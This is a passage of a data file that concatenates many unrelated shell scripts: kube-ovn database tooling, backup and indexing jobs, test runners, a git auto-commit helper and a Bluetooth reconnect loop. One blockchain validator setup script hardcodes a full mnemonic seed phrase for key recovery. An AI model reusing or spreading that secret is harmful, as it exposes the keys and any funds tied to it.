echo \"backup ovn-$component db to $(pwd)/ovnnb_db.$suffix.backup\"\n ;;\n dbstatus)\n kubectl exec \"$OVN_NB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovn-appctl -t /var/run/ovn/ovnnb_db.ctl ovsdb-server/get-db-storage-status OVN_Northbound\n ;;\n restore)\n # set ovn-central replicas to 0\n replicas=$(kubectl get deployment -n $KUBE_OVN_NS ovn-central -o jsonpath={.spec.replicas})\n kubectl scale deployment -n $KUBE_OVN_NS ovn-central --replicas=0\n echo \"ovn-central original replicas is $replicas\"\n\n # backup ovn-nb db\n declare nodeIpArray\n declare podNameArray\n nodeIps=`kubectl get node -lkube-ovn/role=master -o wide | grep -v \"INTERNAL-IP\" | awk '{print $6}'`\n firstIP=${nodeIps[0]}\n podNames=`kubectl get pod -n $KUBE_OVN_NS | grep ovs-ovn | awk '{print $1}'`\n echo \"first nodeIP is $firstIP\"\n\n i=0\n for nodeIp in $nodeIps\n do\n for pod in $podNames\n do\n hostip=$(kubectl get pod -n $KUBE_OVN_NS $pod -o jsonpath={.status.hostIP})\n if [ $nodeIp = $hostip ]; then\n nodeIpArray[$i]=$nodeIp\n podNameArray[$i]=$pod\n i=`expr $i + 1`\n echo \"ovs-ovn pod on node $nodeIp is $pod\"\n break\n fi\n done\n done\n\n echo \"backup nb db file\"\n docker run -it -v /etc/origin/ovn:/etc/ovn $REGISTRY/kube-ovn:$KUBE_OVN_VERSION bash -c \"ovsdb-tool cluster-to-standalone /etc/ovn/ovnnb_db_standalone.db /etc/ovn/ovnnb_db.db\"\n\n # mv all db files\n for pod in ${podNameArray[@]}\n do\n kubectl exec -it -n $KUBE_OVN_NS $pod -- mv /etc/ovn/ovnnb_db.db /tmp\n kubectl exec -it -n $KUBE_OVN_NS $pod -- mv /etc/ovn/ovnsb_db.db /tmp\n done\n\n # restore db and replicas\n echo \"restore nb db file, operate in pod ${podNameArray[0]}\"\n kubectl exec -it -n $KUBE_OVN_NS ${podNameArray[0]} -- mv /etc/ovn/ovnnb_db_standalone.db /etc/ovn/ovnnb_db.db\n kubectl scale deployment -n $KUBE_OVN_NS ovn-central --replicas=$replicas\n echo \"finish restore nb db file and ovn-central replicas\"\n ;;\n *)\n echo \"unknown action $action\"\n esac\n ;;\n sb)\n case $action in\n status)\n kubectl exec \"$OVN_SB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovs-appctl -t /var/run/ovn/ovnsb_db.ctl cluster/status OVN_Southbound\n kubectl exec \"$OVN_SB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovs-appctl -t /var/run/ovn/ovnsb_db.ctl ovsdb-server/get-db-storage-status OVN_Southbound\n ;;\n kick)\n kubectl exec \"$OVN_SB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovs-appctl -t /var/run/ovn/ovnsb_db.ctl cluster/kick OVN_Southbound \"$1\"\n ;;\n backup)\n kubectl exec \"$OVN_SB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovsdb-tool cluster-to-standalone /etc/ovn/ovnsb_db.$suffix.backup /etc/ovn/ovnsb_db.db\n kubectl cp $KUBE_OVN_NS/$OVN_SB_POD:/etc/ovn/ovnsb_db.$suffix.backup $(pwd)/ovnsb_db.$suffix.backup\n kubectl exec \"$OVN_SB_POD\" -n $KUBE_OVN_NS -c ovn-central -- rm -f /etc/ovn/ovnsb_db.$suffix.backup\n echo \"backup ovn-$component db to $(pwd)/ovnsb_db.$suffix.backup\"\n ;;\n dbstatus)\n kubectl exec \"$OVN_NB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovn-appctl -t /var/run/ovn/ovnsb_db.ctl ovsdb-server/get-db-storage-status OVN_Southbound\n ;;\n restore)\n echo \"restore cmd is only used for nb db\"\n ;;\n *)\n echo \"unknown action $action\"\n esac\n ;;\n *)\n echo \"unknown subcommand $component\"\n esac\n}\n\nreload(){\n kubectl delete pod -n kube-system -l app=ovn-central\n kubectl rollout status deployment/ovn-central -n kube-system\n kubectl delete pod -n kube-system -l app=ovs\n kubectl delete pod -n kube-system -l app=kube-ovn-controller\n kubectl rollout status deployment/kube-ovn-controller -n kube-system\n kubectl delete pod -n kube-system -l app=kube-ovn-cni\n kubectl rollout status daemonset/kube-ovn-cni -n kube-system\n kubectl delete pod -n kube-system -l app=kube-ovn-pinger\n kubectl rollout status daemonset/kube-ovn-pinger -n kube-system\n kubectl delete pod -n kube-system -l app=kube-ovn-monitor\n kubectl rollout status deployment/kube-ovn-monitor -n kube-system\n}\n\nif [ $# -lt 1 ]; then\n showHelp\n exit 0\nelse\n subcommand=\"$1\"; shift\nfi\n\ngetOvnCentralPod\n\ncase $subcommand in\n nbctl)\n kubectl exec \"$OVN_NB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovn-nbctl \"$@\"\n ;;\n sbctl)\n kubectl exec \"$OVN_SB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovn-sbctl \"$@\"\n ;;\n vsctl|ofctl|dpctl|appctl)\n xxctl \"$subcommand\" \"$@\"\n ;;\n nb|sb)\n dbtool \"$subcommand\" \"$@\"\n ;;\n tcpdump)\n tcpdump \"$@\"\n ;;\n trace)\n trace \"$@\"\n ;;\n diagnose)\n diagnose \"$@\"\n ;;\n reload)\n reload\n ;;\n *)\n showHelp\n ;;\nesac\n\nEOF\n\necho \"Update Success!\"\necho \"\n ,,,,\n ,::,\n ,,::,,,,\n ,,,,,::::::::::::,,,,,\n ,,,::::::::::::::::::::::,,,\n ,,::::::::::::::::::::::::::::,,\n ,,::::::::::::::::::::::::::::::::,,\n ,::::::::::::::::::::::::::::::::::::,\n ,:::::::::::::,, ,,:::::,,,::::::::::,\n ,,:::::::::::::, ,::, ,:::::::::,\n ,:::::::::::::, :x, ,:: :, ,:::::::::,\n,:::::::::::::::, ,,, ,::, ,, ,::::::::::,\n,:::::::::::::::::,,,,,,:::::,,,,::::::::::::, ,:, ,:, ,xx, ,:::::, ,:, ,:: :::, ,x\n,::::::::::::::::::::::::::::::::::::::::::::, :x: ,:xx: , :xx, :xxxxxxxxx, :xx, ,xx:,xxxx, :x\n,::::::::::::::::::::::::::::::::::::::::::::, :xxxxx:, ,xx, :x: :xxx:x::, ::xxxx: :xx:, ,:xxx :xx, ,xx: ,xxxxx:, :x\n,::::::::::::::::::::::::::::::::::::::::::::, :xxxxx, :xx, :x: :xxx,,:xx,:xx:,:xx, ,,,,,,,,,xxx, ,xx: :xx:xx: ,xxx,:xx::x\n,::::::,,::::::::,,::::::::,,:::::::,,,::::::, :x:,xxx: ,xx, :xx :xx: ,xx,xxxxxx:, ,xxxxxxx:,xxx:, ,xxx, :xxx: ,xxx, :xxxx\n,::::, ,::::, ,:::::, ,,::::, ,::::, :x: ,:xx,,:xx::xxxx,,xxx::xx: :xx::::x: ,,,,,, ,xxxxxxxxx, ,xx: ,xxx, :xxx\n,::::, ,::::, ,::::, ,::::, ,::::, ,:, ,:, ,,::,,:, ,::::,, ,:::::, ,,:::::, ,, :x: ,::\n,::::, ,::::, ,::::, ,::::, ,::::,\n ,,,,, ,::::, ,::::, ,::::, ,:::, ,,,,,,,,,,,,,\n ,::::, ,::::, ,::::, ,:::, ,,,:::::::::::::::,\n ,::::, ,::::, ,::::, ,::::, ,,,,:::::::::,,,,,,,:::,\n ,::::, ,::::, ,::::, ,::::::::::::,,,,,\n ,,,, ,::::, ,,,, ,,,::::,,,,\n ,::::,\n ,,::,\n\""} {"text": "Symbolics/clotho\n#!/bin/sh\n\n# remove build products\n\nrm -rf ./presenter-*"} {"text": "linkux-it/dev1-10\n#!/bin/bash\n# modified from http://ficate.com/blog/2012/10/15/battery-life-in-the-land-of-tmux/\n\nHEART='♥ '\n\ncurrent_charge=$(cat /proc/acpi/battery/BAT1/state | grep 'remaining capacity' | awk '{print $3}')\ntotal_charge=$(cat /proc/acpi/battery/BAT1/info | grep 'last full capacity' | awk '{print $4}')\n\ncharged_slots=$(echo \"(($current_charge/$total_charge)*5)+1\" | bc -l | cut -d '.' -f 1)\nif [[ $charged_slots -gt 5 ]]; then\n charged_slots=5\nfi\n\necho -n '#[fg=colour196]'\nfor i in `seq 1 $charged_slots`; do echo -n \"$HEART\"; done\n\nif [[ $charged_slots -lt 5 ]]; then\n echo -n '#[fg=colour254]'\n for i in `seq 1 $(echo \"5-$charged_slots\" | bc)`; do echo -n \"$HEART\"; done\nfi"} {"text": "0\n#!/bin/bash\n\nwhile [ \"$#\" -gt 0 ]; do\n key=\"$1\"\n case $key in\n --quick)\n QUICK=\"y\"\n shift\n ;;\n --full)\n FULL=\"y\"\n shift\n ;;\n --qutip)\n BACKEND=\"qutip\"\n shift\n ;;\n --projectq)\n BACKEND=\"projectq\"\n shift\n ;;\n --stabilizer)\n BACKEND=\"stabilizer\"\n shift\n ;;\n *)\n echo \"Unknown argument ${key}\"\n exit 1\n esac\ndone\n\nBACKEND=${BACKEND:-\"projectq\"} #If not set, use projectq backend\n\nif [ \"$QUICK\" = y ]; then\n if [ \"$FULL\" = y ]; then\n echo \"Cannot specify both --quick and --full\"\n exit 1\n else\n echo \"Since --quick is specified we skip tests of optional noise.\"\n exit 1\n fi\nfi\n\necho \"Starting SimulaQron server (noisy setting and using $BACKEND as backend))\"\nsh \"${NETSIM}/run/startAll.sh\" -nd \"Alice\" --noisy_qubits \"True\" --t1 \"0.0001\" --backend \"$BACKEND\"\nsleep 1s\necho \"Started SimulaQron server (noise setting)\"\npython \"${NETSIM}/tests/auto/optional_noise/test_optional_noise.py\""} {"text": "commitar.sh\n#!/bin/bash\ngit config credential.helper store\n#find ./ -iname .gitignore -exec rm {} \\;\n#echo \"##### GITIGNORE EXCLUIDO ==> OK #####\"\ngit add .\necho \"##### GIT ADD ==> OK #####\"\ndata=`date +%d-%m-%Y_%H:%M:%S`\ngit commit -m $data\necho \"##### COMMIT ==> OK #####\"\ngit push origin master #empurrar\necho \"##### PUSH ==> OK #####\""} {"text": "AnyVisionltd/nvidia-container-runtime\n#!/usr/bin/env bats\n\nload ../helpers\n\nfunction setup() {\n check_runtime\n}\n\n@test \"ubuntu:12.04 nvidia-smi\" {\n run_nvidia_smi \"ubuntu:12.04\"\n}\n\n@test \"ubuntu:14.04 nvidia-smi\" {\n run_nvidia_smi \"ubuntu:14.04\"\n}\n\n@test \"ubuntu:16.04 nvidia-smi\" {\n run_nvidia_smi \"ubuntu:16.04\"\n}\n\n@test \"ubuntu:16.10 nvidia-smi\" {\n run_nvidia_smi \"ubuntu:16.10\"\n}\n\n@test \"ubuntu:17.04 nvidia-smi\" {\n run_nvidia_smi \"ubuntu:17.04\"\n}"} {"text": "#!/bin/sh -e\n# update the repo daily and generate links\n\n#Define the Project direct path\norigin=\n\n#Predefine subpaths\ndbp=$origin/links/dbpedia.org\nxdbp=$origin/links/xxx.dbpedia.org\n\n#Define date for new backup\nDATE=`date +%Y-%m-%d`\nbackup=/$DATE\nmkdir $backup\n\n#Clean Directory / File-names\nfind $origin/links/ -depth -name \"* *\" -execdir rename 's/ /_/g' \"{}\" \\;\n\nmkdir $backup/dbpedia.org\nfind $dbp -type f -name \"*.nt\" -exec cp {} $backup/dbpedia.org \\;\nfind $dbp -type f -name \"*.nt.bz2\" -exec cp {} $backup/dbpedia.org \\;\n\nmkdir $backup/xxx.dbpedia.org\nfor subdir in $xdbp/*/; do\n xdbpsub=$(basename $subdir)\n mkdir $backup/xxx.dbpedia.org/$xdbpsub\n find $xdbp/$xdbpsub -type f -name \"*.nt\" -exec cp {} $backup/xxx.dbpedia.org/$xdbpsub \\;\n find $xdbp/$xdbpsub -type f -name \"*.nt.bz2\" -exec cp {} $backup/xxx.dbpedia.org/$xdbpsub \\;\ndone\n\nfind $backup -type f -name \"*.nt\" -exec bzip2 -z {} \\;\n\n#Create softlink\nln -s $backup /$DATE\nln -s $backup /current\n\n#Create backlinks\npython3.4 $origin/tools/scripts/backlinks.py $origin \nfind -type f -name \"*.nt.bz2\" -exec rm {} \\;\nfind -type f -name \"*.nt\" -exec bzip2 -z {} \\;\n\n#Fix redirects and convert URI to IRI\nalldbpFilenames=\"\"\nalldbpRecodedFilenames=\"\"\n\nfor file in $backup/dbpedia.org/*nt.bz2; do\n filename=$(basename \"$file\")\n filename=\"${filename%%.*}\"\n alldbpFilenames=\"$filename,$alldbpFilenames\"\n alldbpRecodedFilenames=\"$filename-recoded,$alldbpRecodedFilenames\"\ndone\ncd \n../run RecodeUris $backup/dbpedia.org .nt.bz2 -recoded.nt.bz2 true ${alldbpFilenames%?}\n../run MapSubjectUris transitive-redirects .ttl.bz2 ${alldbpRecodedFilenames%?} -redirected .nt.bz2 @external $backup/dbpedia.org\n\nfind $backup/dbpedia.org/ -type f ! -name \"*-recoded-redirected.nt.bz2\" -exec rm {} \\;\n\nfor subdir in $backup/xxx.dbpedia.org/*; do\n allsubFilenames=\"\"\n allsubRecodedFilenames=\"\"\n for file in $subdir/*nt.bz2; do\n filename=$(basename \"$file\")\n filename=\"${filename%%.*}\"\n allsubFilenames=\"$filename,$allsubFilenames\"\n allsubRecodedFilenames=\"$filename-recoded,$allsubRecodedFilenames\"\n done\n tmp=$(basename $subdir)\n ../run RecodeUris $backup/xxx.dbpedia.org/$tmp .nt.bz2 -recoded.nt.bz2 true ${allsubFilenames%?}\n ../run MapSubjectUris transitive-redirects .ttl.bz2 ${allsubRecodedFilenames%?} -redirected .nt.bz2 @external $backup/xxx.dbpedia.org/$tmp\n\n find $backup/xxx.dbpedia.org/$tmp -type f ! -name \"*-recoded-redirected.nt.bz2\" -exec rm {} \\;\ndone\n\n#Zipping Subdirs and Parent directory\ncd $backup\nzip -r links.zip .\n\n#Git update\ncd $origin\ngit checkout master\ngit pull origin master\n\n#Generate, path and validate\ncd $origin/code\nsh ./bin/generate.sh\nsh ./bin/patch.sh\nsh ./bin/validate.sh"} {"text": "1-10\n#!/usr/bin/env bash\n\nset -euo pipefail\n\n# web-rust-lang\nopen http://localhost:4000/\n\n# web-crates-io\nopen http://localhost:4001/\n\n# web-components\nopen http://localhost:4050\n\n# web-api-proxy\nopen http://localhost:8000/api/v1/summary"} {"text": "100-1000\n#!/bin/bash\n\nrustc --emit mir -Z mir-opt-level=3 - <(s: &'a mut ()) where &'a mut (): Foo {\n s.foo();\n}\nfn main() {}\nEOF"} {"text": "#!/bin/bash\nSCRCPY_SERVER_PATH=\"$MESON_BUILD_ROOT/server/scrcpy-server\" \"$MESON_BUILD_ROOT/app/scrcpy\""} {"text": "saurabh-kataria/jsalt2019-diadet\n#!/bin/bash\n# Copyright\n# 2018 Johns Hopkins University (Author: )\n# 2017 \n# 2017 Johns Hopkins University (Author: )\n# 2017 Johns Hopkins University (Author: )\n# Apache 2.0.\n#\n\n. ./cmd.sh\n. ./path.sh\nset -e\nmfccdir=`pwd`/mfcc\nvaddir=`pwd`/mfcc\nvaddiardir=`pwd`/vad_diar\n\nstage=1\nconfig_file=default_config.sh\n\n. parse_options.sh || exit 1;\n. datapath.sh\n. $config_file\n\n# In this script, we augment SITW dev/eval data with reverberation,\n# noise, music, and babble, to use it for test\n\nif [ $stage -le 1 ]; then\n #if we already prepared the noise data for train, we don't have to do it again here\n if [ ! -d \"data/chime3background_train\" ];then\n\tkaldi_augmentation/aug_step1_prepare_noise_rir_data.sh data/rirs_info\n fi\nfi\n\nif [ $stage -le 2 ]; then\n # Because of the way that wav-reverberate works, we need to apply a correction to SNR to obtain the SNR\n # that we really want, if we mix N files to generate babble (we fix N=7), \n # SNR_real(dB) = SNR_argument(dB) - 10 log10(N)\n kaldi_augmentation/aug_step2_make_aug_data.sh --mode eval \\\n\t\t\t\t\t\t --snrs \"15 10 5 0 -5\" \\\n\t\t\t\t\t\t --snrs-babble \"24 19 14 9 4\" \\\n\t\t\t\t\t\t --num-noises-babble \"7\" \\\n\t\t\t\t\t\t --normalize-output true \\\n\t\t\t\t\t\t \"sitw_dev_test sitw_eval_test\"\n #remove all backups\n rm -rf data/sitw_*/.backup\n\n #change names of directories for babble\n snr_arg=(24 19 14 9 4)\n snr_real=(15 10 5 0 -5)\n for((i=0;i<${#snr_arg[*]};i++))\n do\n\tmv data/sitw_dev_test_babble_snr${snr_arg[$i]} data/sitw_dev_test_babble_snr${snr_real[$i]}\n\tmv data/sitw_eval_test_babble_snr${snr_arg[$i]} data/sitw_eval_test_babble_snr${snr_real[$i]}\n done\nfi\n\nif [ $stage -le 3 ];then\n #put suffixes to test segments in trial files\n for dset in sitw_dev_test sitw_eval_test\n do\n\t#for noise\n\tfor noise in noise music babble chime3bg\n\tdo\n\t for snr in 15 10 5 0 -5\n\t do\n\t\tif [ \"$noise\" == \"babble\" ];then\n\t\t snr_suff=$(($snr+9))\n\t\telse\n\t\t snr_suff=$snr\n\t\tfi\n\t\tsuff=\"${noise}-snr${snr_suff}\"\n\t\tname=${dset}_${noise}_snr${snr}\n\t\tinput_list=data/$dset/trials/core-core.lst\n\t\toutput_list=data/$name/trials/core-core.lst\n\t\tmkdir -p data/$name/trials\n\t\tawk -v suff=$suff '{ print $1,$2\"-\"suff,$3}' $input_list > $output_list\n\t done\n\tdone\n\t#for reverb\n\tfor rt60 in 0.0-0.5 0.5-1.0 1.0-1.5 1.5-4.0\n\tdo\n\t suff=reverb-rt60-$rt60\n\t name=${dset}_reverb_rt60-$rt60\n\t input_list=data/$dset/trials/core-core.lst\n\t output_list=data/$name/trials/core-core.lst\n\t mkdir -p data/$name/trials\n\t awk -v suff=$suff '{ print $1,$2\"-\"suff,$3}' $input_list > $output_list\n\tdone\n done\n\nfi"} {"text": "axel -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/electron-v12.0.9-linux-arm64.zip\naxel -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/electron-v12.0.9-win32-x64.zip\naxel -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/electron-v12.0.9-win32-ia32.zip\naxel -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/electron-v12.0.9-darwin-x64.zip\naxel -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/electron-v12.0.9-mas-x64.zip\naxel -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/ffmpeg-v12.0.9-linux-ia32.zip\naxeln -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/electron-v12.0.9-linux-ia32.zip\naxel -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/electron-v12.0.9-linux-ia32.zip\naxel -n 30 https://npm.taobao.org/mirrors/electron/12.0.9/electron-v12.0.9-linux-x64.zip\naxel -n 30 https://github.com/electron-userland/electron-builder-binaries/releases/download/nsis-3.0.4.1/nsis-3.0.4.1.7z"} {"text": "#!/bin/bash\n\npython3 ../../../scripts/hold_out.py \\\n --input_dir celebA_org \\\n --output_dir celebA \\\n --train_rate 9 \\\n --valid_rate 1"} {"text": "gitter-badger/megadepthrelease.sh\n#!/usr/bin/env bash\n#build \"statlib\" version (or main linux version) of megadepth\n./run_hbb_build_container.sh\n./run_macos_build_container.sh\n./run_windows_build_container.sh\n#build latest Docker runner image:\n/bin/bash -x create_docker_to_run_megadepth.sh"} {"text": "#!/bin/bash\n\nbandcli config chain-id odin\n\necho \"usage ketchup faculty bench jewel rocket latin absurd decide field party reunion cook entry scout scene miss box memory museum decorate guide few verify\" \\\n | bandcli keys add $1 --recover --keyring-backend test\n\n\n# Create system validator\necho \"y\" | bandcli tx staking create-validator \\\n --amount 100000000loki \\\n --commission-max-change-rate 0.010000000000000000 \\\n --commission-max-rate 0.200000000000000000 \\\n --commission-rate 0.100000000000000000 \\\n --from $1 \\\n --moniker oracle-validator \\\n --pubkey \\\n --min-self-delegation 1 \\\n --broadcast-mode block \\\n --keyring-backend test \\\n --node $2\n\n# Create data source and oracle script\necho \"y\" | bandcli tx oracle create-data-source \\\n --name \"mock data source\" \\\n --description \"mock data source with 'Hello, World!'\" \\\n --script /home/stepan/Projects/band/GeoDB-Limited/odin-developer-edition/data-source-scripts/geo-data-v3.py \\\n --owner odin1nnfeguq30x6nwxjhaypxymx3nulyspsuja4a2x \\\n --from $1 \\\n --gas auto \\\n --broadcast-mode block \\\n --keyring-backend test \\\n --node $2\n\necho \"y\" | bandcli tx oracle create-oracle-script \\\n --name \"mock oracle script\" \\\n --description \"mock oracle script with 'Hello, World!' going on 1 DS\" \\\n --script /home/stepan/Projects/band/GeoDB-Limited/odin-developer-edition/oracle-scripts/geo_data_source_v3.wasm \\\n --owner odin1nnfeguq30x6nwxjhaypxymx3nulyspsuja4a2x \\\n --from $1 \\\n --gas auto \\\n --broadcast-mode block \\\n --keyring-backend test \\\n --node $2\n\n./chain/scripts/start_yoda_odin.sh $1 $2"} {"text": "#!/bin/bash\n# ##############################################################################\n# Your-SB-Parent-POM/bin/locally-install-stacks.sh\n# Script to spin through stacks directory and perform a Maven install on each.\n#\n# ##############################################################################\nfor dir in $(find stacks -type d); do\n if [ \"${dir}\" != \"stacks\" ]\n then\n echo \"Installing Stack: ${dir} from $PWD\"\n mvn -f ./${dir}/pom.xml install\n fi\ndone"} {"text": "#!/bin/zsh\n\n# Utility for auto connecting a bluetooth device\n# \tUses bluetoothctl, bt-device, grep and awk binaries!\n\nif [ $# -eq 0 ] ; then\n\tprintf \"\\nNo option given. Run with '--help' for more info.\\n\"\n\texit 1\nfi\n# help option\nif [ $1 = \"-h\" ] || [ $1 = \"--help\" ] ; then\n\t# print help message\n\tprintf \"\\nUtility for auto connecting to bluetooth device.\\n\"\n\tprintf \"Use it with '&' at the end to run it in background.\\n\\n\"\n\tprintf \"USAGE: $0 [OPTION] [DEVICE]\\n\"\n\tprintf \"OPTIONS:\\n\"\n\tprintf \" -h, --help Display this message and exit\\n\"\n\tprintf \" -n, --name Connect to device by name\\n\"\n\tprintf \" -m, --mac Connect to device by mac address\\n\\n\"\n\tprintf \"For more info please contact me at: \\n\"\n\t# exit process\n\texit 0\nfi\n\n# get device by name option\nif [ $1 = \"-n\" ] || [ $1 = \"--name\" ] ; then\n\t# get the name of the device\n\tname=$2\n\n\t# get the mac address of the device\n\tmacaddress=`bt-device -l | grep \"$name\" | grep -o \"(.*)\" | grep -o \"[0-9A-Z]\\{2\\}\\:.*[0-9A-Z]\\{2\\}\"`\n\n\t# check device existance\n\tfinddevice=`bt-device -l | grep \"$name\"`\n\tif [ $? -ne 0 ] ; then\n\t\tprintf \"\\nDevice not found! Process stoped.\\n\"\n\t\texit 1\n\tfi\n\n# get device by mac address option\nelif [ $1 = \"-m\" ] || [ $1 = \"--mac\" ] ; then\n\t# get the mac address of the device\n\tmacaddress=$2\n\n\t# check device existance\n\tfinddevice=`bt-device -l | grep \"$macaddress\"`\n\tif [ $? -ne 0 ] ; then\n\t\tprintf \"\\nDevice not found! Process stoped.\\n\"\n\t\texit 1\n\tfi\n\n# option does not exist\nelse\n\tprintf \"\\nInvalid option! Run with '--help' for more info.\\n\"\n\t# exit process\n\texit 1\nfi\n\nprintf \"\\nProcess started.\\n\"\n\n# loop searching for device and connecting to it\nwhile true\ndo\n\t# wait 2 seconds between connecting attempts\n\tsleep 2\n\t# test the connection status of the given device\n\tif [ `bt-device -i $macaddress | grep -i \"connected\" | awk '{print $2}'` = 0 ] ; then\n\t\t# connect to device via bluetoothctl command if not connected already\n\t\t`bluetoothctl << EOF >> /tmp/auto-con-bt-dev.log 2>&1\n\t\tconnect $macaddress\n\t\tEOF`\n\tfi\ndone"} {"text": "deepakkum21/xsd2pgschema\n#!/bin/bash\n\nsync_update=true\n\nif [ ! `which indexer` ] ; then\n\n echo \"indexer: command not found...\"\n echo \"Please install Sphinx (http://sphinxsearch.com/).\"\n exit 1\n\nfi\n\nXML_DIR=uniprot_xml\nSHARD_SIZE=4\n\nXSD_SCHEMA=uniprot.xsd\nPREFIX=uniprotkb\n\nIDX_DIR=sphinx_shard\nDIC_DIR=sphinx_dic\n\nif [ -d $IDX_DIR ] ; then\n\n echo\n echo \"Do you want to update sphinx index? (y [n]) \"\n\n read ans\n\n case $ans in\n y*|Y*) ;;\n *) echo stopped.\n exit 1;;\n esac\n\n if [ $sync_update != \"true\" ] ; then\n rm -rf $IDX_DIR\n fi\n\nfi\n\nmkdir -p $IDX_DIR\n\nDIC_NAMES=(\"all\" \"aut\" \"pol\" \"org\")\nATTRS=(\"--attr entry.accession --attr entry.name --attr entry.created\" \"\" \"\" \"\")\nFIELDS=(\"\" \"--field personType.name\" \"--field evidencedStringType.content\" \"--field organismNameType.content --field dbReferenceType.id\")\n\ndic_id=0\n\nfor dic_name in ${DIC_NAMES[@]} ; do\n\n attrs=${ATTRS[dic_id]}\n fields=${FIELDS[dic_id]}\n\n let dic_id++\n\n echo $dic_name\n\n WORK_DIR=sphinx_work_$dic_name\n DIC_WORK_DIR=sphinx_dic_work_$dic_name\n ERR_DIR=$WORK_DIR/err\n\n if [ $sync_update != \"true\" ] ; then\n rm -rf $WORK_DIR\n else\n MD5_DIR=chk_sum_sphinx_$dic_name\n fi\n\n mkdir -p $WORK_DIR\n mkdir -p $DIC_WORK_DIR\n mkdir -p $ERR_DIR\n\n err_file=$ERR_DIR/all_err\n\n if [ $sync_update != \"true\" ] ; then\n\n java -classpath ../xsd2pgschema.jar xml2sphinxds --xsd $XSD_SCHEMA --xml $XML_DIR --ds-dir $WORK_DIR --ds-name $PREFIX $attrs $fields --shard-size $SHARD_SIZE 2> $err_file\n\n else\n\n java -classpath ../xsd2pgschema.jar xml2sphinxds --xsd $XSD_SCHEMA --xml $XML_DIR --ds-dir $WORK_DIR --ds-name $PREFIX $attrs $fields --shard-size $SHARD_SIZE --sync $MD5_DIR 2> $err_file\n\n fi\n\n if [ $? = 0 ] && [ ! -s $err_file ] ; then\n\n rm -f $err_file\n\n else\n\n echo $0 aborted.\n exit 1\n\n fi\n\n red='\\e[0;31m'\n normal='\\e[0m'\n\n errs=`ls $ERR_DIR/*_err 2> /dev/null | wc -l`\n\n if [ $errs = 0 ] ; then\n\n echo\n\n for proc_id in `seq 1 $SHARD_SIZE` ; do\n\n _proc_id=`expr $proc_id - 1`\n\n if [ $dic_name = \"all\" ] ; then\n\n mkdir -p $IDX_DIR/\"part-\"$_proc_id -m 777\n indexer $PREFIX\"_p\"$_proc_id\n indexer $PREFIX\"_p\"$_proc_id --buildstops $DIC_WORK_DIR/dictionary_p$_proc_id.txt 100000 --buildfreqs\n\n else\n\n indexer $PREFIX\"_\"$dic_name\"_p\"$_proc_id\n indexer $PREFIX\"_\"$dic_name\"_p\"$_proc_id --buildstops $DIC_WORK_DIR/dictionary_p$_proc_id.txt 100000 --buildfreqs\n\n fi\n\n if [ $? != 0 ] ; then\n\n echo $0 aborted.\n exit 1\n\n fi\n\n done\n\n mkdir -p $DIC_DIR -m 777\n\n DIC_FILES=\n\n for proc_id in `seq 1 $SHARD_SIZE` ; do\n\n _proc_id=`expr $proc_id - 1`\n DIC_FILES=\"$DIC_FILES$DIC_WORK_DIR/dictionary_p$_proc_id.txt \"\n\n done\n\n SRC_DIC_FILES=`echo \" \"$DIC_FILES | sed -e 's/ / \\-\\-dic /g'`\n\n java -classpath ../xsd2pgschema.jar dicmerge4sphinx --ds-dir $DIC_WORK_DIR $SRC_DIC_FILES --freq 1\n\n if [ $dic_name = \"all\" ] ; then\n indexer $PREFIX\"_dic\"\n else\n indexer $PREFIX\"_dic_\"$dic_name\n fi\n\n if [ $? = 0 ] ; then\n\n echo \"Sphinx index (UniProtKB:\"$dic_name\") is update.\"\n\n if [ $sync_update != \"true\" ] ; then\n rm -rf $WORK_DIR\n else\n rm -rf $ERR_DIR\n fi\n\n fi\n\n else\n\n echo\n echo -e \"${red}$errs errors were detected. Please check the log files for more details.${normal}\"\n exit 1\n\n fi\n\ndone\n\ndate"} {"text": "# colorize ls output & print in ordered fashion by default\nalias ls='ls -Ghal'"} {"text": "#!/bin/bash\ndocker build \"$@\" -t bmichalski/base ."} {"text": "#!/bin/bash\n#\n#$ -cwd\n#$ -j y\n#$ -S /bin/bash\n#\n#$ -l mem_free=8G\n#\n\nFASTPHASE=/share/apps/fastphase/fastPHASE-1.4\n\n# your code goes here\n\n$FASTPHASE -otest test.inp"} {"text": "provisioning/samson-deployment/general/bin/service.d/nginx.d/10-init.sh\n# Prevent startup of nginx (ubuntu 16.04 needs it)\nln -f -s /var/lib/nginx/logs /var/log/nginx\n\n# Replace markers\ngo-replace \\\n -s \"\" -r \"$WEB_ALIAS_DOMAIN\" \\\n -s \"\" -r \"$HOSTNAME\" \\\n --path=/opt/docker/etc/nginx/ \\\n --path-pattern='*.conf' \\\n --ignore-empty"} {"text": "#!/usr/bin/env bash\n\ntest_mbc() {\n\tprintf \"[0/4] Checking for mbc executable... \"\n\n\tif [ -x ./mbc ]; then\n\t\tprintf \"OK.\\n\"\n\telse\n\t\tprintf \"ERR!\\n\"\n\t\treturn 1\n\tfi\n\n\tprintf \"[1/4] Generating test files ($(echo $1))... \"\n\n\t# Random file \"dummy_raw\", raw bytes\n\tdd ibs=1 count=$1 if=/dev/urandom 2> /dev/null > dummy_raw\n\tif [ $? -ne 0 ]; then\n\t\tprintf \"ERR!\\n\"\n\t\treturn 1\n\tfi\n\n\t# Random file \"dummy_hex\", hexadecimal ASCII\n\tdd ibs=1 count=$1 if=/dev/urandom 2> /dev/null | hexdump -ve '1/1 \"%02x\"' > dummy_hex\n\tif [ $? -eq 0 ]; then\n\t\tprintf \"OK.\\n\"\n\telse\n\t\tprintf \"ERR!\\n\"\n\t\treturn 1\n\tfi\n\n\tprintf \"[2/4] Generating key ($(echo $2))... \"\n\n\t# Random alphanumeric key including some special characters\n\tlocal test_key\n\ttest_key=$( LC_ALL=C tr -dc 'A-Za-z0-9!#$%&)(*+,-./:;<=>?@[\\]^_`{|}~' < /dev/urandom | dd ibs=1 count=$2 2> 